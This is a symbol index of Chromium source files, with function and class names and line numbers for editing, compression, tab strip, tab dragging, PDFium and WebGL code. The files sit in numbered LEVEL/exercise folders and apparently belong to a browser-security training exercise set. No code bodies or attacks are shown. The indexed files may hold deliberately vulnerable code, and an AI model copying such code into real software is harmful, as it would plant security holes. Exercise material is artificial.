    function PositionInFlatTree (line 218) | PositionInFlatTree CanonicalPositionOf(const PositionInFlatTree& posit...
    function AdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate (line 223) | static PositionWithAffinityTemplate<Strategy>
    function PositionWithAffinity (line 258) | PositionWithAffinity AdjustBackwardPositionToAvoidCrossingEditingBound...
    function PositionInFlatTreeWithAffinity (line 265) | PositionInFlatTreeWithAffinity
    function AdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate (line 274) | static PositionWithAffinityTemplate<Strategy>
    function PositionWithAffinity (line 316) | PositionWithAffinity AdjustForwardPositionToAvoidCrossingEditingBounda...
    function PositionInFlatTreeWithAffinity (line 323) | PositionInFlatTreeWithAffinity
    function ContainerNode (line 332) | static ContainerNode* NonShadowBoundaryParentNode(Node* node) {
    function Node (line 338) | static Node* ParentEditingBoundary(const PositionTemplate<Strategy>& p...
    function StartOfDocumentAlgorithm (line 360) | static PositionTemplate<Strategy> StartOfDocumentAlgorithm(
    function Position (line 370) | Position StartOfDocument(const Position& c) {
    function PositionInFlatTree (line 374) | PositionInFlatTree StartOfDocument(const PositionInFlatTree& c) {
    function EndOfDocumentAlgorithm (line 379) | static VisiblePositionTemplate<Strategy> EndOfDocumentAlgorithm(
    function VisiblePosition (line 391) | VisiblePosition EndOfDocument(const VisiblePosition& c) {
    function VisiblePositionInFlatTree (line 395) | VisiblePositionInFlatTree EndOfDocument(const VisiblePositionInFlatTre...
    function IsStartOfDocument (line 399) | bool IsStartOfDocument(const VisiblePosition& p) {
    function IsEndOfDocument (line 405) | bool IsEndOfDocument(const VisiblePosition& p) {
    function PositionInFlatTree (line 412) | PositionInFlatTree StartOfEditableContent(const PositionInFlatTree& po...
    function PositionInFlatTree (line 420) | PositionInFlatTree EndOfEditableContent(const PositionInFlatTree& posi...
    function IsEndOfEditableOrNonEditableContent (line 428) | bool IsEndOfEditableOrNonEditableContent(const VisiblePosition& positi...
    function IsEndOfEditableOrNonEditableContent (line 435) | bool IsEndOfEditableOrNonEditableContent(
    function LayoutUnit (line 451) | static LayoutUnit BoundingBoxLogicalHeight(LayoutObject* o,
    function HasRenderedNonAnonymousDescendantsWithHeight (line 460) | bool HasRenderedNonAnonymousDescendantsWithHeight(
    function PositionWithAffinity (line 497) | PositionWithAffinity PositionForContentsPointRespectingEditingBoundary(
    function CaretMinOffset (line 518) | int CaretMinOffset(const Node* node) {
    function CaretMaxOffset (line 525) | int CaretMaxOffset(const Node* n) {
    function InRenderedText (line 530) | static bool InRenderedText(const PositionTemplate<Strategy>& position) {
    function RendersInDifferentPosition (line 555) | bool RendersInDifferentPosition(const Position& position1,
    function EndsOfNodeAreVisuallyDistinctPositions (line 570) | bool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) {
    function Node (line 598) | static Node* EnclosingVisualBoundary(Node* node) {
    function IsStreamer (line 608) | static bool IsStreamer(const PositionIteratorAlgorithm<Strategy>& pos) {
    function Position (line 619) | static Position MostBackwardOrForwardCaretPosition(
    function AdjustPositionForBackwardIteration (line 665) | static PositionTemplate<Strategy> AdjustPositionForBackwardIteration(
    function MostBackwardCaretPosition (line 685) | static PositionTemplate<Strategy> MostBackwardCaretPosition(
    function Position (line 795) | Position MostBackwardCaretPosition(const Position& position,
    function PositionInFlatTree (line 801) | PositionInFlatTree MostBackwardCaretPosition(const PositionInFlatTree&...
    function HasInvisibleFirstLetter (line 807) | bool HasInvisibleFirstLetter(const Node* node) {
    function MostForwardCaretPosition (line 824) | PositionTemplate<Strategy> MostForwardCaretPosition(
    function Position (line 934) | Position MostForwardCaretPosition(const Position& position,
    function PositionInFlatTree (line 940) | PositionInFlatTree MostForwardCaretPosition(const PositionInFlatTree& ...
    function AtEditingBoundary (line 955) | static bool AtEditingBoundary(const PositionTemplate<Strategy> positio...
    function IsVisuallyEquivalentCandidateAlgorithm (line 975) | static bool IsVisuallyEquivalentCandidateAlgorithm(
    function IsVisuallyEquivalentCandidate (line 1047) | bool IsVisuallyEquivalentCandidate(const Position& position) {
    function IsVisuallyEquivalentCandidate (line 1051) | bool IsVisuallyEquivalentCandidate(const PositionInFlatTree& position) {
    function SkipToEndOfEditingBoundary (line 1057) | static PositionTemplate<Strategy> SkipToEndOfEditingBoundary(
    function UChar32 (line 1085) | static UChar32 CharacterAfterAlgorithm(
    function UChar32 (line 1106) | UChar32 CharacterAfter(const VisiblePosition& visible_position) {
    function UChar32 (line 1110) | UChar32 CharacterAfter(const VisiblePositionInFlatTree& visible_positi...
    function UChar32 (line 1115) | static UChar32 CharacterBeforeAlgorithm(
    function UChar32 (line 1121) | UChar32 CharacterBefore(const VisiblePosition& visible_position) {
    function UChar32 (line 1125) | UChar32 CharacterBefore(const VisiblePositionInFlatTree& visible_posit...
    function NextPositionOfAlgorithm (line 1130) | static VisiblePositionTemplate<Strategy> NextPositionOfAlgorithm(
    function VisiblePosition (line 1152) | VisiblePosition NextPositionOf(const VisiblePosition& visible_position,
    function VisiblePositionInFlatTree (line 1159) | VisiblePositionInFlatTree NextPositionOf(
    function SkipToStartOfEditingBoundary (line 1168) | static PositionTemplate<Strategy> SkipToStartOfEditingBoundary(
    function PreviousPositionOfAlgorithm (line 1197) | static VisiblePositionTemplate<Strategy> PreviousPositionOfAlgorithm(
    function VisiblePosition (line 1232) | VisiblePosition PreviousPositionOf(const VisiblePosition& visible_posi...
    function VisiblePositionInFlatTree (line 1239) | VisiblePositionInFlatTree PreviousPositionOf(
    function MakeSearchRange (line 1248) | static EphemeralRangeTemplate<Strategy> MakeSearchRange(
    function SkipWhitespaceAlgorithm (line 1265) | static PositionTemplate<Strategy> SkipWhitespaceAlgorithm(
    function Position (line 1290) | Position SkipWhitespace(const Position& position) {
    function PositionInFlatTree (line 1294) | PositionInFlatTree SkipWhitespace(const PositionInFlatTree& position) {
    function ComputeTextBounds (line 1299) | static Vector<FloatQuad> ComputeTextBounds(
    function FloatRect (line 1326) | static FloatRect ComputeTextRectTemplate(
    function IntRect (line 1334) | IntRect ComputeTextRect(const EphemeralRange& range) {
    function IntRect (line 1338) | IntRect ComputeTextRect(const EphemeralRangeInFlatTree& range) {
    function FloatRect (line 1342) | FloatRect ComputeTextFloatRect(const EphemeralRange& range) {
    function IntRect (line 1346) | IntRect FirstRectForRange(const EphemeralRange& range) {

FILE: LEVEL_2/exercise_3/deflate_transformer.cc
  type blink (line 24) | namespace blink {
    function ScriptPromise (line 55) | ScriptPromise DeflateTransformer::Transform(
    function ScriptPromise (line 94) | ScriptPromise DeflateTransformer::Flush(

FILE: LEVEL_2/exercise_3/inflate_transformer.cc
  type blink (line 25) | namespace blink {
    function ScriptPromise (line 52) | ScriptPromise InflateTransformer::Transform(
    function ScriptPromise (line 92) | ScriptPromise InflateTransformer::Flush(

FILE: LEVEL_2/exercise_4/tab_strip_model.cc
  class RenderWidgetHostVisibilityTracker (line 70) | class RenderWidgetHostVisibilityTracker
    method RenderWidgetHostVisibilityTracker (line 126) | explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* ...
    method RenderWidgetHostVisibilityTracker (line 135) | RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTrac...
    method RenderWidgetHostVisibilityTracker (line 137) | RenderWidgetHostVisibilityTracker& operator=(
    method RenderWidgetHostVisibilityChanged (line 142) | void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host,
    method RenderWidgetHostDestroyed (line 159) | void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) overri...
  class ReentrancyCheck (line 75) | class ReentrancyCheck {
    method ReentrancyCheck (line 77) | explicit ReentrancyCheck(bool* guard_flag) : guard_flag_(guard_flag) {
  function ShouldForgetOpenersForTransition (line 94) | bool ShouldForgetOpenersForTransition(ui::PageTransition transition) {
  function InstallRenderWigetVisibilityTracker (line 107) | std::unique_ptr<RenderWidgetHostVisibilityTracker>
  class RenderWidgetHostVisibilityTracker (line 123) | class RenderWidgetHostVisibilityTracker
    method RenderWidgetHostVisibilityTracker (line 126) | explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* ...
    method RenderWidgetHostVisibilityTracker (line 135) | RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTrac...
    method RenderWidgetHostVisibilityTracker (line 137) | RenderWidgetHostVisibilityTracker& operator=(
    method RenderWidgetHostVisibilityChanged (line 142) | void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host,
    method RenderWidgetHostDestroyed (line 159) | void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) overri...
  class TabStripModel::WebContentsData (line 177) | class TabStripModel::WebContentsData : public content::WebContentsObserv...
    method WebContentsData (line 180) | WebContentsData(const WebContentsData&) = delete;
    method WebContentsData (line 181) | WebContentsData& operator=(const WebContentsData&) = delete;
    method WebContents (line 186) | WebContents* web_contents() { return contents_.get(); }
    method WebContents (line 189) | WebContents* opener() const { return opener_; }
    method set_opener (line 190) | void set_opener(WebContents* value) {
    method set_reset_opener_on_active_tab_change (line 194) | void set_reset_opener_on_active_tab_change(bool value) {
    method reset_opener_on_active_tab_change (line 197) | bool reset_opener_on_active_tab_change() const {
    method pinned (line 200) | bool pinned() const { return pinned_; }
    method set_pinned (line 201) | void set_pinned(bool value) { pinned_ = value; }
    method blocked (line 202) | bool blocked() const { return blocked_; }
    method set_blocked (line 203) | void set_blocked(bool value) { blocked_ = value; }
    method group (line 204) | absl::optional<tab_groups::TabGroupId> group() const { return group_; }
    method set_group (line 205) | void set_group(absl::optional<tab_groups::TabGroupId> value) {
    method WriteIntoTrace (line 209) | void WriteIntoTrace(perfetto::TracedValue context) const {
  type TabStripModel::DetachedWebContents (line 266) | struct TabStripModel::DetachedWebContents {
    method DetachedWebContents (line 267) | DetachedWebContents(int index_before_any_removals,
    method DetachedWebContents (line 275) | DetachedWebContents(const DetachedWebContents&) = delete;
    method DetachedWebContents (line 276) | DetachedWebContents& operator=(const DetachedWebContents&) = delete;
    method DetachedWebContents (line 278) | DetachedWebContents(DetachedWebContents&&) = default;
  type TabStripModel::DetachNotifications (line 297) | struct TabStripModel::DetachNotifications {
    method DetachNotifications (line 298) | DetachNotifications(WebContents* initially_active_web_contents,
    method DetachNotifications (line 302) | DetachNotifications(const DetachNotifications&) = delete;
    method DetachNotifications (line 303) | DetachNotifications& operator=(const DetachNotifications&) = delete;
  function WebContents (line 694) | WebContents* TabStripModel::GetActiveWebContents() const {
  function WebContents (line 698) | WebContents* TabStripModel::GetWebContentsAt(int index) const {
  function WebContents (line 773) | WebContents* TabStripModel::GetOpenerOfWebContentsAt(int index) {
  function WebContents (line 1901) | WebContents* TabStripModel::GetWebContentsAtImpl(int index) const {
  function TabStripSelectionChange (line 1907) | TabStripSelectionChange TabStripModel::SetSelection(

FILE: LEVEL_2/exercise_5/tab_drag_controller.cc
  function IsSnapped (line 101) | bool IsSnapped(const TabDragContext* context) {
  function GetDraggedBrowserBoundsInTabletMode (line 113) | gfx::Rect GetDraggedBrowserBoundsInTabletMode(aura::Window* window) {
  function StoreCurrentDraggedBrowserBoundsInTabletMode (line 128) | void StoreCurrentDraggedBrowserBoundsInTabletMode(
  function IsShowingInOverview (line 142) | bool IsShowingInOverview(TabDragContext* context) {
  function ShouldAttachOnEnd (line 152) | bool ShouldAttachOnEnd(TabDragContext* target_context) {
  function CanDetachFromTabStrip (line 158) | bool CanDetachFromTabStrip(TabDragContext* context) {
  function IsSnapped (line 164) | bool IsSnapped(const TabDragContext* context) {
  function IsShowingInOverview (line 168) | bool IsShowingInOverview(TabDragContext* context) {
  function ShouldAttachOnEnd (line 172) | bool ShouldAttachOnEnd(TabDragContext* target_context) {
  function CanDetachFromTabStrip (line 176) | bool CanDetachFromTabStrip(TabDragContext* context) {
  function SetCapture (line 182) | void SetCapture(TabDragContext* context) {
  function GetTabstripScreenBounds (line 186) | gfx::Rect GetTabstripScreenBounds(const TabDragContext* context) {
  function DoesRectContainVerticalPointExpanded (line 197) | bool DoesRectContainVerticalPointExpanded(const gfx::Rect& bounds,
  function OffsetX (line 206) | void OffsetX(int x_offset, std::vector<gfx::Rect>* rects) {
  class KeyEventTracker (line 218) | class KeyEventTracker : public ui::EventObserver {
    method KeyEventTracker (line 220) | KeyEventTracker(base::OnceClosure end_drag_callback,
    method KeyEventTracker (line 228) | KeyEventTracker(const KeyEventTracker&) = delete;
    method KeyEventTracker (line 229) | KeyEventTracker& operator=(const KeyEventTracker&) = delete;
    method OnEvent (line 234) | void OnEvent(const ui::Event& event) override {
  class TabDragController::SourceTabStripEmptinessTracker (line 249) | class TabDragController::SourceTabStripEmptinessTracker
    method SourceTabStripEmptinessTracker (line 252) | explicit SourceTabStripEmptinessTracker(TabStripModel* tabstrip,
    method TabStripEmpty (line 259) | void TabStripEmpty() override {
  class TabDragController::DraggedTabsClosedTracker (line 268) | class TabDragController::DraggedTabsClosedTracker
    method DraggedTabsClosedTracker (line 271) | DraggedTabsClosedTracker(TabStripModel* tabstrip, TabDragController* p...
    method OnTabStripModelChanged (line 276) | void OnTabStripModelChanged(
  class TabDragController::DeferredTargetTabstripObserver (line 307) | class TabDragController::DeferredTargetTabstripObserver
    method DeferredTargetTabstripObserver (line 310) | DeferredTargetTabstripObserver() = default;
    method DeferredTargetTabstripObserver (line 311) | DeferredTargetTabstripObserver(const DeferredTargetTabstripObserver&) =
    method DeferredTargetTabstripObserver (line 313) | DeferredTargetTabstripObserver& operator=(
    method SetDeferredTargetTabstrip (line 323) | void SetDeferredTargetTabstrip(TabDragContext* deferred_target_context) {
    method OnWindowPropertyChanged (line 347) | void OnWindowPropertyChanged(aura::Window* window,
    method OnWindowDestroying (line 362) | void OnWindowDestroying(aura::Window* window) override {
    method TabDragContext (line 368) | TabDragContext* deferred_target_context() { return deferred_target_con...
  function TabDragContext (line 520) | TabDragContext* TabDragController::GetSourceContext() {
  function Browser (line 2029) | Browser* TabDragController::CreateBrowserForDrag(

FILE: LEVEL_2/exercise_5/tab_drag_controller.h
  function namespace (line 27) | namespace ui {
  function namespace (line 30) | namespace views {
  type MoveBehavior (line 57) | enum MoveBehavior {
  type EventSource (line 67) | enum EventSource {
  function TabDragContext (line 119) | const TabDragContext* attached_context() const { return attached_context...
  type class (line 162) | enum class
  type class (line 180) | enum class
  type EndDragType (line 186) | enum EndDragType {
  type ReleaseCapture (line 198) | enum ReleaseCapture {
  type DetachPosition (line 204) | enum DetachPosition {
  type DetachBehavior (line 212) | enum DetachBehavior {
  type DragBrowserResultType (line 218) | enum DragBrowserResultType {
  type TabDragData (line 229) | struct TabDragData {
  type std (line 265) | typedef std::vector<TabDragData> DragData;
  function TabDragData (line 418) | TabDragData* source_view_drag_data() {
  function num_dragging_tabs (line 429) | int num_dragging_tabs() {
  function first_tab_index (line 435) | int first_tab_index() { return header_drag_ ? 1 : 0; }

FILE: LEVEL_2/exercise_5/tab_strip_model.cc
  class RenderWidgetHostVisibilityTracker (line 67) | class RenderWidgetHostVisibilityTracker
    method RenderWidgetHostVisibilityTracker (line 123) | explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* ...
    method RenderWidgetHostVisibilityTracker (line 131) | RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTrac...
    method RenderWidgetHostVisibilityTracker (line 133) | RenderWidgetHostVisibilityTracker& operator=(
    method RenderWidgetHostVisibilityChanged (line 138) | void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host,
    method RenderWidgetHostDestroyed (line 149) | void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) overri...
  class ReentrancyCheck (line 72) | class ReentrancyCheck {
    method ReentrancyCheck (line 74) | explicit ReentrancyCheck(bool* guard_flag) : guard_flag_(guard_flag) {
  function ShouldForgetOpenersForTransition (line 91) | bool ShouldForgetOpenersForTransition(ui::PageTransition transition) {
  function InstallRenderWigetVisibilityTracker (line 104) | std::unique_ptr<RenderWidgetHostVisibilityTracker>
  class RenderWidgetHostVisibilityTracker (line 120) | class RenderWidgetHostVisibilityTracker
    method RenderWidgetHostVisibilityTracker (line 123) | explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* ...
    method RenderWidgetHostVisibilityTracker (line 131) | RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTrac...
    method RenderWidgetHostVisibilityTracker (line 133) | RenderWidgetHostVisibilityTracker& operator=(
    method RenderWidgetHostVisibilityChanged (line 138) | void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host,
    method RenderWidgetHostDestroyed (line 149) | void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) overri...
  class TabStripModel::WebContentsData (line 167) | class TabStripModel::WebContentsData : public content::WebContentsObserv...
    method WebContentsData (line 170) | WebContentsData(const WebContentsData&) = delete;
    method WebContentsData (line 171) | WebContentsData& operator=(const WebContentsData&) = delete;
    method WebContents (line 176) | WebContents* web_contents() { return contents_.get(); }
    method WebContents (line 179) | WebContents* opener() const { return opener_; }
    method set_opener (line 180) | void set_opener(WebContents* value) {
    method set_reset_opener_on_active_tab_change (line 184) | void set_reset_opener_on_active_tab_change(bool value) {
    method reset_opener_on_active_tab_change (line 187) | bool reset_opener_on_active_tab_change() const {
    method pinned (line 190) | bool pinned() const { return pinned_; }
    method set_pinned (line 191) | void set_pinned(bool value) { pinned_ = value; }
    method blocked (line 192) | bool blocked() const { return blocked_; }
    method set_blocked (line 193) | void set_blocked(bool value) { blocked_ = value; }
    method group (line 194) | base::Optional<tab_groups::TabGroupId> group() const { return group_; }
    method set_group (line 195) | void set_group(base::Optional<tab_groups::TabGroupId> value) {
  type TabStripModel::DetachedWebContents (line 249) | struct TabStripModel::DetachedWebContents {
    method DetachedWebContents (line 250) | DetachedWebContents(int index_before_any_removals,
    method DetachedWebContents (line 258) | DetachedWebContents(const DetachedWebContents&) = delete;
    method DetachedWebContents (line 259) | DetachedWebContents& operator=(const DetachedWebContents&) = delete;
    method DetachedWebContents (line 261) | DetachedWebContents(DetachedWebContents&&) = default;
  type TabStripModel::DetachNotifications (line 280) | struct TabStripModel::DetachNotifications {
    method DetachNotifications (line 281) | DetachNotifications(WebContents* initially_active_web_contents,
    method DetachNotifications (line 285) | DetachNotifications(const DetachNotifications&) = delete;
    method DetachNotifications (line 286) | DetachNotifications& operator=(const DetachNotifications&) = delete;
  function WebContents (line 677) | WebContents* TabStripModel::GetActiveWebContents() const {
  function WebContents (line 681) | WebContents* TabStripModel::GetWebContentsAt(int index) const {
  function WebContents (line 740) | WebContents* TabStripModel::GetOpenerOfWebContentsAt(int index) {
  function WebContents (line 1844) | WebContents* TabStripModel::GetWebContentsAtImpl(int index) const {
  function TabStripSelectionChange (line 1850) | TabStripSelectionChange TabStripModel::SetSelection(

FILE: LEVEL_2/exercise_5/tab_strip_model.h
  function namespace (line 43) | namespace content {
  type CloseTypes (line 81) | enum CloseTypes {
  type AddTabTypes (line 94) | enum AddTabTypes {
  type NewTab (line 118) | enum NewTab {
  function TabStripModelDelegate (line 150) | TabStripModelDelegate* delegate() const { return delegate_; }
  function Profile (line 165) | Profile* profile() const { return profile_; }
  type class (line 227) | enum class
  type UserGestureDetails (line 238) | struct UserGestureDetails {
  function IndexOfFirstNonPinnedTab (line 373) | int IndexOfFirstNonPinnedTab() const;
  function GetTabCount (line 483) | int GetTabCount() const override;
  type DetachedWebContents (line 588) | struct DetachedWebContents
  type DetachNotifications (line 589) | struct DetachNotifications

FILE: LEVEL_2/exercise_6/pdfium_page.cc
  type chrome_pdf (line 49) | namespace chrome_pdf {
    function FloatPageRectToPixelRect (line 59) | gfx::RectF FloatPageRectToPixelRect(FPDF_PAGE page, const gfx::RectF& ...
    function GetFloatCharRectInPixels (line 97) | gfx::RectF GetFloatCharRectInPixels(FPDF_PAGE page,
    function GetFirstNonUnicodeWhiteSpaceCharIndex (line 115) | int GetFirstNonUnicodeWhiteSpaceCharIndex(FPDF_TEXTPAGE text_page,
    function AccessibilityTextDirection (line 126) | AccessibilityTextDirection GetDirectionFromAngle(float angle) {
    function AddCharSizeToAverageCharSize (line 155) | void AddCharSizeToAverageCharSize(gfx::SizeF new_size,
    function GetRotatedCharWidth (line 169) | float GetRotatedCharWidth(float angle, const gfx::SizeF& size) {
    function GetAngleOfVector (line 173) | float GetAngleOfVector(const gfx::Vector2dF& v) {
    function GetAngleDifference (line 180) | float GetAngleDifference(float a, float b) {
    function FloatEquals (line 186) | bool FloatEquals(float f1, float f2) {
    function CountOverlaps (line 198) | uint32_t CountOverlaps(const std::vector<T>& first_set,
    function CountInternalTextOverlaps (line 227) | uint32_t CountInternalTextOverlaps(const std::vector<T>& text_objects) {
    function IsRadioButtonOrCheckBox (line 254) | bool IsRadioButtonOrCheckBox(int button_type) {
    function FPDF_PAGE (line 291) | FPDF_PAGE PDFiumPage::GetPage() {
    function FPDF_TEXTPAGE (line 305) | FPDF_TEXTPAGE PDFiumPage::GetTextPage() {
    function Thumbnail (line 1464) | Thumbnail PDFiumPage::GenerateThumbnail(float device_pixel_ratio) {
    function ToPDFiumRotation (line 1571) | int ToPDFiumRotation(PageOrientation orientation) {

FILE: LEVEL_2/exercise_7/webgl_rendering_context_base.cc
  type blink (line 121) | namespace blink {
    function Mutex (line 133) | Mutex& WebGLContextLimitMutex() {
    function WebGLRenderingContextBaseSet (line 140) | WebGLRenderingContextBaseSet& ActiveContexts() {
    function WebGLRenderingContextBaseMap (line 156) | WebGLRenderingContextBaseMap& ForciblyEvictedContexts() {
    function WebGLRenderingContextBase (line 229) | WebGLRenderingContextBase* WebGLRenderingContextBase::OldestContext() {
    function WebGLRenderingContextBase (line 246) | WebGLRenderingContextBase* WebGLRenderingContextBase::OldestEvictedCon...
    function GLint (line 326) | GLint Clamp(GLint value, GLint min, GLint max) {
    class StripComments (line 337) | class StripComments {
      method StripComments (line 339) | StripComments(const String& str)
      method String (line 347) | String Result() { return builder_.ToString(); }
      method HasMoreCharacters (line 350) | bool HasMoreCharacters() const { return (position_ < length_); }
      method Parse (line 352) | void Parse() {
      method Peek (line 363) | bool Peek(UChar& character) const {
      method UChar (line 370) | UChar Current() {
      method Advance (line 375) | void Advance() { ++position_; }
      method IsNewline (line 377) | static bool IsNewline(UChar character) {
      method Emit (line 382) | void Emit(UChar character) { builder_.Append(character); }
      type ParseState (line 384) | enum ParseState {
    class ScopedTexture2DRestorer (line 504) | class ScopedTexture2DRestorer {
      method ScopedTexture2DRestorer (line 508) | explicit ScopedTexture2DRestorer(WebGLRenderingContextBase* context)
    class ScopedFramebufferRestorer (line 517) | class ScopedFramebufferRestorer {
      method ScopedFramebufferRestorer (line 521) | explicit ScopedFramebufferRestorer(WebGLRenderingContextBase* context)
    class ScopedUnpackParametersResetRestore (line 530) | class ScopedUnpackParametersResetRestore {
      method ScopedUnpackParametersResetRestore (line 534) | explicit ScopedUnpackParametersResetRestore(
    function FormatWebGLStatusString (line 552) | static void FormatWebGLStatusString(const StringView& gl_info,
    function String (line 563) | static String ExtractWebGLContextCreationError(
    type ContextProviderCreationInfo (line 592) | struct ContextProviderCreationInfo {
    function CreateContextProviderOnMainThread (line 602) | static void CreateContextProviderOnMainThread(
    function CreateContextProviderOnWorkerThread (line 617) | static std::unique_ptr<WebGraphicsContext3DProvider>
    function ImageBitmap (line 735) | ImageBitmap* WebGLRenderingContextBase::TransferToImageBitmapBase(
    function ScriptPromise (line 795) | ScriptPromise WebGLRenderingContextBase::makeXRCompatible(
    function IntSize (line 1673) | IntSize WebGLRenderingContextBase::DrawingBufferSize() const {
    function WebGLFramebuffer (line 2065) | WebGLFramebuffer* WebGLRenderingContextBase::GetFramebufferBinding(
    function WebGLFramebuffer (line 2072) | WebGLFramebuffer* WebGLRenderingContextBase::GetReadFramebufferBinding...
    function GLenum (line 2076) | GLenum WebGLRenderingContextBase::checkFramebufferStatus(GLenum target) {
    function WebGLBuffer (line 2326) | WebGLBuffer* WebGLRenderingContextBase::createBuffer() {
    function WebGLFramebuffer (line 2332) | WebGLFramebuffer* WebGLRenderingContextBase::createFramebuffer() {
    function WebGLTexture (line 2338) | WebGLTexture* WebGLRenderingContextBase::createTexture() {
    function WebGLProgram (line 2344) | WebGLProgram* WebGLRenderingContextBase::createProgram() {
    function WebGLRenderbuffer (line 2350) | WebGLRenderbuffer* WebGLRenderingContextBase::createRenderbuffer() {
    function WebGLShader (line 2364) | WebGLShader* WebGLRenderingContextBase::createShader(GLenum type) {
    function WebGLActiveInfo (line 2829) | WebGLActiveInfo* WebGLRenderingContextBase::getActiveAttrib(
    function WebGLActiveInfo (line 2860) | WebGLActiveInfo* WebGLRenderingContextBase::getActiveUniform(
    function GLint (line 2907) | GLint WebGLRenderingContextBase::getAttribLocation(WebGLProgram* program,
    function ScriptValue (line 2938) | ScriptValue WebGLRenderingContextBase::getBufferParameter(
    function WebGLContextAttributes (line 2965) | WebGLContextAttributes* WebGLRenderingContextBase::getContextAttributes()
    function GLenum (line 2985) | GLenum WebGLRenderingContextBase::getError() {
    function ScriptValue (line 3036) | ScriptValue WebGLRenderingContextBase::getExtension(ScriptState* scrip...
    function ScriptValue (line 3069) | ScriptValue WebGLRenderingContextBase::getFramebufferAttachmentParameter(
    function ScriptValue (line 3156) | ScriptValue WebGLRenderingContextBase::getParameter(ScriptState* scrip...
    function ScriptValue (line 3456) | ScriptValue WebGLRenderingContextBase::getProgramParameter(
    function String (line 3518) | String WebGLRenderingContextBase::getProgramInfoLog(WebGLProgram* prog...
    function ScriptValue (line 3525) | ScriptValue WebGLRenderingContextBase::getRenderbufferParameter(
    function ScriptValue (line 3572) | ScriptValue WebGLRenderingContextBase::getShaderParameter(
    function String (line 3604) | String WebGLRenderingContextBase::getShaderInfoLog(WebGLShader* shader) {
    function WebGLShaderPrecisionFormat (line 3611) | WebGLShaderPrecisionFormat* WebGLRenderingContextBase::getShaderPrecis...
    function String (line 3641) | String WebGLRenderingContextBase::getShaderSource(WebGLShader* shader) {
    function ScriptValue (line 3667) | ScriptValue WebGLRenderingContextBase::getTexParameter(
    function ScriptValue (line 3701) | ScriptValue WebGLRenderingContextBase::getUniform(
    function WebGLUniformLocation (line 3982) | WebGLUniformLocation* WebGLRenderingContextBase::getUniformLocation(
    function ScriptValue (line 4005) | ScriptValue WebGLRenderingContextBase::getVertexAttrib(
    function GLboolean (line 4115) | GLboolean WebGLRenderingContextBase::isBuffer(WebGLBuffer* buffer) {
    function GLboolean (line 4131) | GLboolean WebGLRenderingContextBase::isEnabled(GLenum cap) {
    function GLboolean (line 4139) | GLboolean WebGLRenderingContextBase::isFramebuffer(
    function GLboolean (line 4153) | GLboolean WebGLRenderingContextBase::isProgram(WebGLProgram* program) {
    function GLboolean (line 4164) | GLboolean WebGLRenderingContextBase::isRenderbuffer(
    function GLboolean (line 4178) | GLboolean WebGLRenderingContextBase::isShader(WebGLShader* shader) {
    function GLboolean (line 4189) | GLboolean WebGLRenderingContextBase::isTexture(WebGLTexture* texture) {
    function GLenum (line 4690) | GLenum WebGLRenderingContextBase::ConvertTexInternalFormat(
    function WebGLTexture (line 4922) | WebGLTexture* WebGLRenderingContextBase::ValidateTexImageBinding(
    function IntRect (line 4945) | IntRect WebGLRenderingContextBase::SentinelEmptyRect() {
    function IntRect (line 4953) | IntRect WebGLRenderingContextBase::SafeGetImageSize(Image* image) {
    function IntRect (line 4960) | IntRect WebGLRenderingContextBase::GetImageDataSize(ImageData* pixels) {
    function Extensions3DUtil (line 6742) | Extensions3DUtil* WebGLRenderingContextBase::ExtensionsUtil() {
    function ScriptValue (line 6845) | ScriptValue WebGLRenderingContextBase::GetBooleanParameter(
    function ScriptValue (line 6854) | ScriptValue WebGLRenderingContextBase::GetBooleanArrayParameter(
    function ScriptValue (line 6870) | ScriptValue WebGLRenderingContextBase::GetFloatParameter(
    function ScriptValue (line 6879) | ScriptValue WebGLRenderingContextBase::GetIntParameter(
    function ScriptValue (line 6901) | ScriptValue WebGLRenderingContextBase::GetInt64Parameter(
    function ScriptValue (line 6910) | ScriptValue WebGLRenderingContextBase::GetUnsignedIntParameter(
    function ScriptValue (line 6919) | ScriptValue WebGLRenderingContextBase::GetWebGLFloatArrayParameter(
    function ScriptValue (line 6942) | ScriptValue WebGLRenderingContextBase::GetWebGLIntArrayParameter(
    function WebGLTexture (line 6963) | WebGLTexture* WebGLRenderingContextBase::ValidateTexture2DBinding(
    function WebGLTexture (line 6991) | WebGLTexture* WebGLRenderingContextBase::ValidateTextureBinding(
    function GLint (line 7279) | GLint WebGLRenderingContextBase::GetMaxTextureLevelForTarget(GLenum ta...
    function WebGLBuffer (line 7781) | WebGLBuffer* WebGLRenderingContextBase::ValidateBufferDataTarget(
    function String (line 8053) | String WebGLRenderingContextBase::EnsureNotNull(const String& text) co...
    function CanvasResourceProvider (line 8063) | CanvasResourceProvider* WebGLRenderingContextBase::
    function String (line 8104) | String GetErrorString(GLenum error) {
    function IntSize (line 8178) | IntSize WebGLRenderingContextBase::ClampedCanvasSize() const {
    function GLint (line 8185) | GLint WebGLRenderingContextBase::MaxDrawBuffers() {
    function GLint (line 8198) | GLint WebGLRenderingContextBase::MaxColorAttachments() {
    function DrawingBuffer (line 8299) | DrawingBuffer* WebGLRenderingContextBase::GetDrawingBuffer() const {

FILE: LEVEL_3/exercise_1/navigation_predictor.cc
  function GetURLWithoutRefParams (line 44) | std::string GetURLWithoutRefParams(const GURL& gurl) {
  function AreGURLsEqualExcludingRefParams (line 53) | bool AreGURLsEqualExcludingRefParams(const GURL& a, const GURL& b) {
  type NavigationPredictor::NavigationScore (line 58) | struct NavigationPredictor::NavigationScore {
    method NavigationScore (line 59) | NavigationScore(const GURL& url,
  function TemplateURLService (line 499) | TemplateURLService* NavigationPredictor::GetTemplateURLService() const {

FILE: LEVEL_3/exercise_1/navigation_predictor.h
  function namespace (line 28) | namespace content {
